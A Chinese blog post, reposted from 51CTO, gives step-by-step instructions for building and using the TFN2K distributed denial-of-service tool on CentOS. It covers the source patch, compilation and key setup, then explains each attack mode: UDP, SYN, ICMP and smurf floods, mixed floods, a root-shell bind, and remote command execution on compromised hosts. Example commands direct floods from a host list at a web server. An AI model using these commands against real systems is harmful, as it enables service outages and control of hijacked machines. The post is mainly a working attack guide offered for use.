天天看點

linux 實作ddos

實驗環境

centos-5.5

實驗軟體

tfn2k.tgz

配置軟體

tar zxvf tfn2k.tgz

cd tfn2k

vim src/ip.h

找到  124 struct in_addr

     125   {

     126     unsigned long int s_addr;

     127   };

改為  124 /*struct in_addr

     127   }; */

make         安裝

make[1]: Entering directory `/root/tfn2k/src'

gcc -Wall -O3    disc.c   -o disc

disc.c: In function ‘main’:

disc.c:24: warning: implicit declaration of function ‘exit’

disc.c:24: warning: incompatible implicit declaration of built-in function ‘exit’

./disc

This program is distributed for educational purposes and without any

explicit or implicit warranty; in no event shall the author or contributors

be liable for any direct, indirect or incidental damages arising in any way

out of the use of this software.

I hereby certify that I will not hold the author liable for any wanted

or unwanted effects caused by this program and that I will give the author

full credit and exclusively use this program for educational purposes.

Do you agree to this disclaimer [y/n]? y

gcc -Wall -O3    mkpass.c   -o mkpass

./mkpass

server key [8 - 32 chars]:   輸入8位密碼

cd /root/tfn2k

./tfn                        如果看到這個,證明按住成功了

使用範例

-f 這個參數後面跟剛才所寫的文本檔案名,就是真正實作DDOS攻擊,而不是DOS

-h DOS攻擊,也就是單機,一對一的攻擊 後面跟一個主機或IP位址

-p 後面指定一個端口,不用說了

-c 最關鍵的參數,一共有11個選相

0 - 停止攻擊,發善心用的

1 反欺騙等級設定 ,的TFN這個工具在攻擊的時候所發出的資料包是帶有源位址的,但是源位址是随機的,也就是說位址不是你自給的

2 改編資料包的包尺寸:預設的ICMP/8,smurf,udp攻擊預設使用最小包,你可以通過改變每個包的有效載荷的位元組增加它的大小

3 綁定root shell:啟動的個會話服務的然後你連接配接的個指定端口就可以得到的個root shell

4 UDP洪水攻擊:這個攻擊是利用這樣的個事實:每個udp包被送往的個關閉的端口的這樣就會有的個ICMP不可到達的資訊傳回的增加了攻擊的能力

5 SYN洪水攻擊:這個攻擊有規律的送虛假的連接配接請求,結果會是目标端口拒絕服務的添瞞TCP連接配接表的通過對不存在主機的TCP/RST響應增加攻擊潛力,是标準的拒絕服務攻擊.

6 ICMP響應(ping)攻擊:這個攻擊發送虛假位址的ping請求的目标主機會回送相同大小的響應包

7 SMURF攻擊:用目标主機的位址發送ping請求以廣播擴大的這樣目标主機将得到回複的個多倍的回複

8 MIX攻擊:按照1:1:1的關系交替的發送udp,syn,icmp包的這樣就可以對付路由器的其它包轉發裝置的NIDS,sn的fers等,輪番轟炸:)

9 TARGA3攻擊

10 遠端指令執行,這個參數是TFN的附加功能,其實TFN的攻擊不僅僅是DOS,還可以遠端的進行明令控制,如:

./tfn -f hostext -c 10 -i "mkdir /root/edison" 在所有的HOST上root家目錄建立edison,-i後面跟"指令"

./tfn -f hostext -c 4 -i www.xxx.com

hostext檔案中記錄的主機對163伺服器進行UDP攻擊(所有的主機中必需已經起動td程序)

./tfn -f hostext -c 5 -i www.xxx.com -p 80

使用hostext檔案中記錄的主機對163伺服器進行TCP拒絕服務攻擊(80攻擊WEB,其他不用說了)

./tfn -f hostext -c 6 -i www.xxx.com

使用hostext檔案中記錄的主機對163伺服器進行ICMP攻擊(PING攻擊,緩沖區溢出馬上當機)

./tfn -f hostext -c 8 -i www.xxx.com

使用hostext檔案中記錄的主機對163伺服器進行ICMP&TCP&UDP輪番攻擊

./tfn -f hostext -c 0

讓所由主機停止攻擊

本文轉自 mailfile 51CTO部落格,原文連結:http://blog.51cto.com/mailfile/1330181,如需轉載請自行聯系原作者

繼續閱讀